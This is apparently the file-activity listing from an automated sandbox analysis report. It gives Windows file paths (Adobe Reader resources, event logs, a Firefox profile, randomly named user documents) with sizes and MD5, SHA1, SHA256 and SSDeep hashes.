C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster2x.jpg	66.71 KB	MD5: 46053b1827809ce9f3d42a74431b213a SHA1: aa528e0e9483df7b3cf09124cb96c17fa6312a5e SHA256: 86ea7333e078b880531209d268718406816f628683558e34dd50da1817b602da SSDeep: 1536:cwDk3NL5zE0YaHvO8l/jstnJ577CvNtj5RSLGCJzlynUQ/PtwO:VDioaHvvgV78BRSLxG/Ptw	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\ffjcext.zip	15.21 KB	MD5: 0bd509cf3e508b5a1970f3d94d292a13 SHA1: c1cd87a140ba6856406d193071890b9666ea64a5 SHA256: ea60b5a905d79052b3c969b5b9f808eeb5b77a41202a09ad2ff74dcf6ae7b7db SSDeep: 192:X+SD4695ppUSyNQ3uP8RbZKtFm/uo8mINRYjIjxdhCYGGjL2fHu:/d95ALNQNzAGuojIPYjyxuGjCfHu	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\HV67.xlsx	93.28 KB	MD5: a135332c394fda83916f8628b3fdb996 SHA1: 80a4c8d599df38e57729867253455d7688a726ad SHA256: e1a5018a2b53ae674d7c23a19de6a520e4aa4914def8ef8f750d8a8e638cd829 SSDeep: 1536:4bUX0tLndIxnIgT6sCMY/OKg3fbzjjdSvkBUIsJpCECV8PnRgrXpfSHsGmDvO:+Q01nOIGRYWKgPbz3Ba7w8PO5fWjmz	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\xjYLW_hfZv1k8ab.docx	57.51 KB	MD5: 9747d6274986fe318929380492b36dc6 SHA1: 6ac1a3fba21af54af7e3c14a7fb29834e8c32798 SHA256: 996f25a8783035d8cd1b09119cf35c409ba90c7e65ccec8c3417b143473c952b SSDeep: 1536:nRYeF9OX11Z6eH4Zm8A1ONbemVVv+7wjY2gzhv301KuO:RFFoBHwmp8Y0RkJE5	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\qIJWv_cl3Fl.odt	87.63 KB	MD5: c37df355dacc50e733539f8048ad7763 SHA1: 29666182666406cfa0a0a52e6bbffebb4d287322 SHA256: 48127b6ea411648547076fa1227accf87a7a8e6af887613eb4b8b654ec890aba SSDeep: 1536:dLb+Pc0UQd1Rr948xFEmAHYrYtuRF0JQRxIymr1GOnB8j4ZGAJFojJqCv0ObPzIO:N+U0UkPJ41fYs4RvxIymr1LnSj4Zv/og	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\YFbehrau7-I.xlsx	43.92 KB	MD5: a4f84bbea31718be74078c0f3724fedf SHA1: 23babdd54e4bd63478fb91f2e21b37689118e525 SHA256: ff18b46f801f80a9014bedfa2db46393e294dc4275943bfc8f5cf5e9ae4112b3 SSDeep: 768:WIGFi89h4xD6kxagc/fKWhN5kLuQcsASonWAjv7F2UmXNrWWf+3L3O:WBE89h4xtc/SW/JQxoReXHf+3DO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\Xp8i-yDNo1to.docx	23.04 KB	MD5: 0798d5e318b68cf880f2ad883413b6b4 SHA1: 214bae15aa6cb119ef69a60ac4fe13429f4aa90a SHA256: b012c55bf06d36655b649152f52f97554cc99164d54dee0aaacd926ccb897aec SSDeep: 384:ooSzyAldp2kMWTylKEYoruboUvul/+gHsbNBSDAZoIDV/AvlCfHu:ooSzyewlW+tYorWWl/ah6yDVYSO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage.sqlite	1.88 KB	MD5: 7ecd8ada04ef68e38ee04c77899b37fe SHA1: 7fb06c800c0c40aa168514648c14940eea75757e SHA256: 135b90c98c79df8e2559b8ba9bcd5df0f736ddbdf636ebacf91844aa4f6d22a5 SSDeep: 48:NX1gzx9bH1clA7FZ/NmLaPcuB4i+gNiZvuUbHeR:h1gzx9O8mL/ufRNumUa	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\lO-5UKEm.xlsx	15.63 KB	MD5: 0463ac97b3212a45355a6c3d4f7dc570 SHA1: ef9aeaf9bc94e4ace80aecc6951a37e73881dc03 SHA256: 607f75e2c372adc6ce35a2859ec6bc219cade0b39a537881a77d0ab90bb43633 SSDeep: 384:IsWJ5FN9Y3aSkHmXE3q6zL1gawZezMoQOmZPwACCCfHu:u5zjmXE6W1gxeooQORAC9O	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\N8Jr-vH1xH.docx	2.72 KB	MD5: 20df64584ce89a8ca0fc01c5f1ec7da0 SHA1: dd00abbcb41b93e26d5c500954feeca7526e1c56 SHA256: ad7326df51388650e121f8b862a48f65515667a7097bd18deeb968d3d68e10e5 SSDeep: 48:VenHWpPxpDj0lINiiY/VUtrJRkpHtdgbmb5NmLaPcuB4i+gNiZvuUbHe:snH2PDsuNiZ/VUJJRkpNpmL/ufRNumUa	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\dJ1D8WWJKN0vwRrX.xls	45.61 KB	MD5: d9beda13a2ae8e2e8f4cc10872bb6032 SHA1: 1f90e010f315486c681eec25401782bc151590f7 SHA256: 2a53ef51b03a370269611bd81f091a4215ea1fdf3500beba8b67fa2aa3ea2f68 SSDeep: 768:ZaVtv6YdKOG/dh7FK3BDLaOMQZ2+/5ZRZFX+U2sA1iJj5mN4e8fpbTJ/wZvqwQlJ:ZKRnedGIOMT45ZRZV+sVj5Kd89mZvqKO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\yTvQERL.docx	95.95 KB	MD5: 681e5959dfe406118095f6fa987e0468 SHA1: c30a66ee19021623e5396ea6f7f2e4825ef09f03 SHA256: 7c8717a86be444deba6701517921a92b1891f154b04fd25634d07b4fcbbd1eb0 SSDeep: 1536:tyIAhrlqy1SjFavcQ+nmU5zuAyEeia716Ge8qqQ4+GJoOj773OR5wgyi+eYMO:MIAhcjUamU5yXp95vXJoOfDORWpeV	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite	121.38 KB	MD5: 9739c44be43b620ac68d121da806d90d SHA1: c38aff8e81c9b7a6bc7cfb183d84d0cbda4a3130 SHA256: b998bc7bee2d37371398a241d5f3ec6d4641b7a67300970026c1a91de5df3ddc SSDeep: 1536:Qu+rj6bPdUIwfDwUEJOm/WqkySmQ4i5135I9EphVBXAPURYF0YG5ifka0O:tuOFUhLwFXn+3XpxQjrsa0	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\lH729p9NvtlORqAu.xlsx	86.33 KB	MD5: a7fe12739b4c588cac27d3dd5fcb2799 SHA1: 3a3437cea52333f5afa4043da4bc8e7d455c1f8e SHA256: bca0b5241433e86b149c1bc1c7ccbca529c449cc7b5c576af67219c752e0d2ca SSDeep: 1536:GJtRtzpJX6b6r4dF1LdYueStp50ylfiOkUidNv7wSrYxFwf/TUqDPPhO:GnVJX67/+St3rfBc/v7wtFaRZ	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\V4v0at7yeL46Y_CL.docx	79.01 KB	MD5: 80ac1a480fad559d0bb01f7f559d3eb6 SHA1: cfac905d6679f040f1fd337c6ba34470d50ed0a4 SHA256: 8edb60f0a3e381dc68a786f9dcd6f40bfe64cde9ca454b389237b167b042735d SSDeep: 1536:Bo0qDEEwM6rVJnyRby5wE0vsvIAH0cS4/UQHdtUAOBmnQYO+wIMHR95jfcO:B1qDEW6znyFyaE+slz7UqdtUAOBmHO+j	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\2-sCYYlXE1eIT.ods	32.68 KB	MD5: 8babbc05de6eaa9348443e9e6c2cc37a SHA1: c15a80a14aa5c7e1623139cef9347e81f5b558f1 SHA256: 23bea7bd39d0ddb5879a8ee462b5139575fa12158df6b5d47bdc11f20bf929bb SSDeep: 768:MUJQf7zXPtwYn1YfQPZueck4tFQb6Ld8JGtsNO:3J87zfaYn+ehB6OJasNO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\AdobeID.pdf	81.53 KB	MD5: 37c72dffc32a087e448a38daeacc7a5e SHA1: 2a1eb7f1db42fa392023ce4e5917fdfcc90fee81 SHA256: c0dbd4cbba629662b8ce776c3d4e85acf491b9f4a3bb4cb371e631b5afae56de SSDeep: 1536:m66nDwDumhfxY+70umYYBN9ELwracFbpE86GD+XDKAFoL/oslXQO:GnkD4GS0P80XXoLzXQ	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\Words.pdf	111.24 KB	MD5: f56ccd7003db346fe89731ee79b9dba8 SHA1: 364eed101ad0a14462e3ac99e6d28e34605b0b10 SHA256: 7e89ab0c5d958c1dcf0b7c614ba9b6fb9411779a091045006a7321951f7571a4 SSDeep: 3072:TQ4dvr3iaUnDw9JZ8idFejlyAMv30UbLYlsTXEqOvvL:84djSk9H8E7htv7qvvL	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf	183.84 KB	MD5: 26e98333be5b9eb9c37c843e1940e4b4 SHA1: da458d436269f38942d8ab9d2fbe467f177d088e SHA256: 9b579ef134e14ada791101285f2865b9b93db368047cb645cb3286376683e005 SSDeep: 3072:FC27o6N6gT0xwZODn/TJTHuX2T/5/dGc4uka2AtSyNLMDTJ5MtvVmbvAd:cP6IgT0zbJTuXa5McZd2At7mJ5Muzk	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Click on 'Change' to select default PDF handler.pdf	183.84 KB	MD5: 1ecb60784fcb21c38dbc2732f70b26b2 SHA1: 12fb0e22739f8a27791347a72cff68a6b62926a5 SHA256: b3deda2912bbc54ca44c1dacb969d04322c6e94d0dc74cbe96ffd802a452dae4 SSDeep: 3072:8Eq7N4E+47x0xwZODn/TJTHuX2T/5/dGc4uka2AtSyNLMDTJ5MtvVmbvk:8Eq7OE70zbJTuXa5McZd2At7mJ5Muzk	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx	1.01 MB	MD5: 962637fe048fb4957b7d6f6f0510dc7e SHA1: 5ab7dd82090bb9ab139ba69e1de4acc3178dc364 SHA256: 8290b2a37f6ba0cd3f250c7217edd570143e48b0d65bbb20343411c5e93e0979 SSDeep: 3072:AP7NWvGzClAPL/XoUKtLLnOpMTZKPJ5r+5CJn/X3dlvwrTzt5AXqtclb7vF1rumj:nQaAzwqpI5G5	... File Actions Show Properties Download
C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Picture2_80.jpg	143.31 KB	MD5: 6d001cdf964eca805ca72aab8de3b6d1 SHA1: d6f3dd59fd6fe3858eede156ea11ae34ca227817 SHA256: e5c86cbea73fbc8a5925752ba6986cb3418f84912681a00d39bdc8b85e9d65e9 SSDeep: 3072:oWlEV7fydxGKrDtguu2UokHvWzupURkDe0XETfD0dctVcl:oWe7OHPyuu2Uo039XCKUg	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\combine_poster.jpg	20.72 KB	MD5: f1f5002cf61ba0646f6ec8769c3edff9 SHA1: 4af84048a8870c5d0d6b98fd2c98cc5be59edfb2 SHA256: 1f3483fe14e04f8e2da138e9d496d7bd093dcbe35d0f207d0ded4bcb9f9e5b0b SSDeep: 384:HuvvRJlllllllgkw4LKK6HIKpWExEZHTpKmppP3a1/JBrJgeZek2tpAmCfHu:OXSKus+EZzAIpP3paekeAZO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster.jpg	20.72 KB	MD5: 6daa9c9c5098a9f185cbce98355e6ac8 SHA1: ff2ece7b3a46e5e2e9914b44c09ea29507a51363 SHA256: 88680842ca2db4397ed5e33522d40111f4c6bcd8942dc72a3a1688d9d4761ebd SSDeep: 384:IFu5zbNZpRy7KdL9xAVq0lFlllllllgkw4LKK6HIKpWExEZHTpKmppP3QFxCzSs3:IFgbNZDy7u4bGKus+EZzAIpP3Qj4xLpR	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Welcome.pdf	77.06 KB	MD5: a4a103971c60e4a0cbc8df91a879333e SHA1: d608cdcfdde06e56782c804dbbf57bcb3b07a4be SHA256: 3fa378e940b0e8a09a2027ece931ca412acd0505b7d59d04e4cd24c71053761c SSDeep: 1536:j+bqvHvHBDGkGIGK7cvQ0VPp/8jsATzV8nrxO:jAaH5Z5/7Ap/D6zKnrx	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Document Cloud for Government.pdf	112.15 KB	MD5: 6caec18923c9fa50d8a7a39cb9106106 SHA1: 77ed2c2e0d1bced9283269b64447b8ae78f8d728 SHA256: 4e055b94b6d2ffa42cee7c79cb78502d7da8696a6c4d17d75c008b8912a9c8a8 SSDeep: 3072:qSA+Ude/FwtHM8eZDxF58hQwiLurTUrt3fNs:qSA+r/Fwtit382RurYu	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster2x.jpg	48.48 KB	MD5: 44da10dd85191d5750ef197bda4ffbcc SHA1: 7abde0a6d51b9addf3f6e3b7e72b6b8cbb670b45 SHA256: 0444b940c8fd0dc778112b244c16c52d6d58c16ce9966a3e91f3f559b024e3f4 SSDeep: 768:JKfo7Gov/XupAGeG5r2fcgO6QFi74C2nYYfoIf8g5syHdB47J+HLOc5xKNRCmeqd:GoteTe1cgOljmYgI7SyHdAwOc5vmq9O	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster.jpg	24.18 KB	MD5: 95e3a04bd58528f99b4008f916c04f68 SHA1: 320134c82fa657eba481be26ce88979dd9ffa0f1 SHA256: 87363e184f5bcf2a033e4105ce11df131bcc9b3a722f034e6e4f1574221e5221 SSDeep: 384:HNeQmjLl4xhz/gzyv9oigUgrulKpCRqWgso58n3CoBvzao34bL+sfULQm3CfHu:tN4B4xhjgzg9oP4K0Rxgsp3CAyCQ5O	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Travelocity.pdf	79.10 KB	MD5: 0d708af56afc4a2659caa471854835d3 SHA1: a4fb129baf5216a40be79e72b5ce0ff4b6d0b5b1 SHA256: 8ca31aa39ff13679a3fabe2935835613403e81bff764e2a8dbc8b756264a2bd3 SSDeep: 1536:MvwcF7iOf0JqzIRMVUMbaclH7GcIsfXd3K3aJLei7MHehuYtXGsUjt1/RcLEYPJO:awAf8q7GM5bG4N6q5edaRg5jjqNPJrg8	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x-dark.jpg	68.97 KB	MD5: dfacd98e12f2071d7f4491cd3d76fc75 SHA1: 1ec052b55ed7d327ac7af0654d9b0a216ae41fba SHA256: c7b7b06f30b3a368bb4e8e67441f52b9d8bd9e72052204aefee24d493d510c75 SSDeep: 1536:WkU8FhUDHKPYObRHEdH7Cc58pHy5rHynNaHvXa4v3RYmb444444444444444444F:WkU8FhOKPBedL7DyNmXBvnX2Wd5twwJY	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster.jpg	28.02 KB	MD5: f91fca35acce765e19e0c0f998da284f SHA1: 6de6d0a753dbfaa51491b8aa7a8b64768755da7a SHA256: 963aa43de1ea3f3c40cedb063329ed8b6968a4da9a6745a84bbb6fd965c280ae SSDeep: 768:5PqJzbzkvr7x5hDM6kQfS53adFrQ8pGhO:JqdbgdjDMW1dYhO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster.jpg	28.02 KB	MD5: ea645f4d3164e3276ca4533fbdf6fadb SHA1: 004c594578e37f51fe6f50cfdd984e3d0423b8d8 SHA256: 7674687c6f6939854549b6786b11a630d5f84b02ab28eb3d15944eae2293e8f2 SSDeep: 768:3NScBr7x5hDM6kQfS53adFrQ8iVVXzQGvO:9SqdjDMW1dq/3vO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x.jpg	68.97 KB	MD5: a0c7bdbdab64953283a5f65681305503 SHA1: f58d982d13ae3e60d8e3b87a16f3d67a0760903f SHA256: 3f2c22dbac3128e4d16773e117bfb456d81bffbfc371e1598fd41c6fd3843d27 SSDeep: 1536:m6Wfhpql4xLo2aHEdH7Cc58pHy5rHynNaHvXa4v3RYmb4444444444444444444+:8ZQMdL7DyNmXBvnX2Wd5twwJUN	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster2x.jpg	80.17 KB	MD5: 09363e1d9a8a0a232feff40237850373 SHA1: c5cc3a14e8dc29dbb7acdba758546b2dfd72446d SHA256: f8dbbe0ac7d885510ed42c3961030b4bd63e0358422d7b3d67e75bd53d26cdba SSDeep: 1536:/BKQv+t8ht6WFQ/DxJyYgQ0D++8hhuM5TA1UaPP24ZZIA6VjOrY200hmO:/c0+t8OWFQ/F8C0D++b40Ua2dA6VOY2K	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\protect_poster.jpg	24.18 KB	MD5: 9a6448166bba911885d674a960464564 SHA1: 05fcecf06efa72cec84b23e71282cd30f8b71424 SHA256: 7b5157a209d41d07fe0e943dfa9aeaaa8c1f4f923718d6b7dc49a307a6d727fd SSDeep: 384:0B2s8+VNL+fDHPyv9oigUgrulKpCRqWgso58n3C+FYwryfy2CfHu:xoKLPg9oP4K0Rxgsp3CGYwryfyJO	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\6ZaKO22zBTdl.jpg	101.21 KB	MD5: 0598872dfda1e580135c0c8279379928 SHA1: d6651d0cd2889dded94cd5f98ea00ca76a3c56e7 SHA256: 17ad4b2166503f3478c733e4a8af0da533ba18482106b547ba3993bf5febd134 SSDeep: 1536:WPHSygAjVt/heTAmklU+N1L8UFzle3i2DyObn7/YxyC4bMabo7QVzpAnTwc9guyT:7m/gK3NzlVWpbcE5V+MzpAn33mP+	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\pmrx0XMNlqLx.jpg	10.26 KB	MD5: ffe8c603732184f1eae38be76034f127 SHA1: 225dd8315b413e63503c45abde5ab4f082ec88e4 SHA256: 1a8e375095cd1c6ff9e394f5e8a257432d6443c7295470c3d07a55ad8611df7e SSDeep: 192:RZ25EwA4RgYVZGUNHoNCf0ljwGtP0H0E+oJNoFHZdgrtiaro2nzPL2fHux:f25M4aEZGCwCfveP0HphKDdsm2nzPCfa	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx	69.38 KB	MD5: 9fff2e7bfaa7181d1cb94d88056d88e8 SHA1: b434772436c2a00af2ba35b31a0903c318d89caa SHA256: bb92d888628027d5bff37b4d783102c8897f9df952e52427441ce9602e0b7f90 SSDeep: 384:kxrRLGzVYsXu5jyVrlgvnVr+AugeaPJ3GOlu6ICb1xrRLGzVYsbCfHu:k3GzVLNV6Vrxu7a5GObIm3GzVkO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster.jpg	28.82 KB	MD5: 66fc3dd303941cfec20e0b91ed73822d SHA1: 5b3fa10cef9c046b966c265ec7f8ab87d92813b4 SHA256: e80cb55fda96c087d9cab476640607c5ee95318e76ce2733be0068d568f33652 SSDeep: 384:AGvgn4GijoYISAVgBwqnUWsPNzpjblkzGWAOUVdQ7m0HEl+TBuQbdnAtCzqpEArj:AGIn+zYVgijbuzB1Url+TBBbtW3+O	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\GrlY8zmzECSobnYyDGDm.jpg	43.94 KB	MD5: b17d9809097e6734fdaed43ba4dad379 SHA1: 371343265afdf4fa7cf2bf7f113fb522ac23c901 SHA256: 8174eb49169a0baa4fbc711c6e3ef7ba08746f907b877458773937bfd777fee8 SSDeep: 768:K/F1yWMDKSHMuuMrCdcMwJ/bSkaPs/lhY3G1mHIEolkvHu9MUC7oIHO:K/FwWSKSHqdYJ/bSq9GPxCkPSMUCDHO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster.jpg	30.29 KB	MD5: dd07f841bd22cf63e13f98035440207e SHA1: 0b52368410b39dff9fa3dbbb6bd62db00a2c4e82 SHA256: 927e608c1344a0fdc3de6c7389f9db522e44bb7649a28ed984a35c81da6c70d5 SSDeep: 768:Lk1h1IAYapqDoCuVu/+++++++++hjF86eBjJYd5LVWz7M3/O:LCYAsMF81VYdvQM3/O	... File Actions Show Properties Download
C:\$GetCurrent\SafeOS\GetCurrentRollback.ini	1.54 KB	MD5: 0824aa7fa9efbe23b51d4b801491b3d5 SHA1: 5232edcd4ff44825a6b47b2d4f0539d0ec72fbdc SHA256: 343e5168e5eb77c094f3977f1536b84f6fa0c2359f202b12ef05b25bd1032c7b SSDeep: 24:DwaQUy8OAljNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5pHjiF:UaeNA9NmLaPcuB4i+gNiZvuUbHe	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster.jpg	28.82 KB	MD5: 267b381662ccaa85b71d5fd05027c6bf SHA1: e62e9ead9482ccede412de2a238d9d8abe7d2a9b SHA256: 4c006943841f238e7841f4ad3e833aaf4d4a2e8d365bb889d6d0cfee1ff95c9d SSDeep: 768:iobc/FVgijbuzB1Url+TBBbtW0xaRVfNnKFO:iva1AUs0xabfgO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-DeviceSetupManager%4Operational.evtx	69.38 KB	MD5: 5084930110b0dce441115f6ff67a5fc6 SHA1: 3576592923813dd572a4fe5766dbe71f1ea18e0b SHA256: 6876f31093b93c68d5146dee116ae25587ae5d71f3d8f8462c33243402e2b037 SSDeep: 384:DiEBsiRSHSi8ZMfIR2lJu0KLuIQ53GjnP7c+2AziEBsiRSbCfHu:GEBsiYaZ1I06xInP7c+n2EBsiYoO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx	69.38 KB	MD5: a0bf0932b4012f6994fa5d3de7b07103 SHA1: 0c381cd89f7278a894170ecd62b9dba082a50fc0 SHA256: bd20e6a94d461e6429710864938c5fb388e400751c22d5cfd3550bc98135d327 SSDeep: 768:Xw9epBLOCLDoNwUVVmzqGlY6NIHw9epBLOiO:XoeptOZwUriqGlMoeptOiO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-MUI%4Operational.evtx	69.38 KB	MD5: e10953f9f52bb2c2fa32b72b43e96212 SHA1: b7a60244787fa231cc1ceac44b4ee7aa1f0f3bb7 SHA256: 260b25b1c760fe3a29beb73f24f03665597a11a8beb64335aae9202de337f9b0 SSDeep: 768:hiYXG2z5vWKuJs27KOHryU59fjnBMTbLiYXG2z5mO:gYWabuJskLDfLB0yYWJO	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Extended_x86.msi	485.38 KB	MD5: 947f7bf04b412af1264d79133c8a5a27 SHA1: 349a5f4908436adfb77825db6fe83377f8d4da31 SHA256: 5a067899c0b2af04a6f0f7d6063ef119cd745b1d2c9ba6679e92317e10c27f56 SSDeep: 6144:/Zzv76RHfepsrxRrGh/JD6sAOiOk05c+Q+OjUIsLQUIcFxZSBVv+lYjsm6FBQ0sj:NIHfepsrx1GX6sEsNz7QXcFxZ+VhjEy	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster2x.jpg	80.17 KB	MD5: 19b0f7efc9e8c310a3ff6e509253195f SHA1: 52526af3dd1a8dac33c01994e412d21a955863a2 SHA256: b0b77c01ee05e281dd4f56c183747287f41f069c756175e3051803895289e531 SSDeep: 1536:LNxnNcWAQ/DxJyYgQ0D++8hhuM5TA1UaPP24ZZIA6VjOrY200JEO:LNxnNRf/F8C0D++b40Ua2dA6VOY207	... File Actions Show Properties Download
C:\Logs\Application.evtx	69.38 KB	MD5: a209ed3f7377a10d491daa30e416663d SHA1: 4aec5be9b7906ce0f1f6b1c13b5884ba382dbb1b SHA256: 93a545b68d9547c887e3d408811619214b2b6ebbc200b6a28e915d5c6e72712b SSDeep: 768:N4/HA9GYB+55pig60qFsMS79qbIkq6cqiqdqCIXIuqCLIHNI3RP4/HVO:mvc+55px6zSCcouRgvVO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster2x.jpg	59.05 KB	MD5: da56103490b2f115eb8f3ee9f6988a3d SHA1: de64c7aa81f97eefd5174b3731daa52b0ca82d15 SHA256: 1ddb5daba776487a66f4a3cf34a54d2da8b273436e8ed9307f1e0a2eed9c3556 SSDeep: 1536:+i/aa2rVxfdKzqbl4TFuSW4vI67V/qN05cSoO:hYVxAGbiTFumvX5nS	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster.jpg	31.02 KB	MD5: c5cb8ee88a967537e1ae7730d998cf32 SHA1: 1878b8e3bcfbb1de49242bf6c7499d23159cfc73 SHA256: 112a3c0a0a1ed32fa1870aca49ddf18cfbd558ab2c0b61dc51b8dffbf8b79df1 SSDeep: 768:+C/vboKeaVdIsOl1uiiuZa+LZiVfkCNbJTn8VYAPKjnDHKa8QU10VO:PEKLVesOl1kcjZSlJT3T8B+VO	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\9YZdyXI1.jpg	22.33 KB	MD5: b03371a6b05f8dd6cd03e123be1cf5d8 SHA1: 3c9b0e28ee406501caf442f038ae1b6d744252bf SHA256: f39b6e17d506560c830be11e6e2116e705739047e9ca4f38b635013d1a15b05f SSDeep: 384:5ArjTq5Nhb5w/uRH4jUCUo+nERuYFZjZpnCBZ1WJVxAehrcoonCfHu:5wjTcbK/IYju2RfFZCB7WJAeJV7O	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster.jpg	24.84 KB	MD5: 695efad3a566d41f529a2ce8766c62f1 SHA1: ebb3e9e52f12f3095d9750d6f4efaa4354be7b9c SHA256: 868f79db850cb3976ea3690d8bf7ed152811f1764d836b701010aebfc0ddae98 SSDeep: 768:HPV087pnSpdO9CRBlXiT4zrFF+2XkAOhO:Ht087JSTkqjY4zxF+2XkAOhO	... File Actions Show Properties Download
C:\$GetCurrent\SafeOS\preoobe.cmd	1.46 KB	MD5: e5d040b850a2833431c6cb4ae10515eb SHA1: eeebf629acec7f170364cd03e7da991db47fd1b7 SHA256: c791a1aa05f84e79b6f2c6e0c7d1fe1c29612979c2ec07cca27ee9b39be10c69 SSDeep: 24:8a28OjNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5pHji:8mQNmLaPcuB4i+gNiZvuUbHe	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster2x.jpg	69.85 KB	MD5: 40f639d81083bc156db885acc088fd09 SHA1: 3e8f7ef81954a6ecd3e2891fb4ab3bcbacb481e1 SHA256: 66606996a4e812aa35a493aee96801b505727eaffd5ed4d80591a8ce9b1faa0c SSDeep: 1536:893oQYQDmjud8sopQcU7HhE8rpwfoCIIIDIII2cQsi9V4+M9vz+fzO:89JYamUoScUT1NCoCIIIDIIIENnAvz+b	... File Actions Show Properties Download
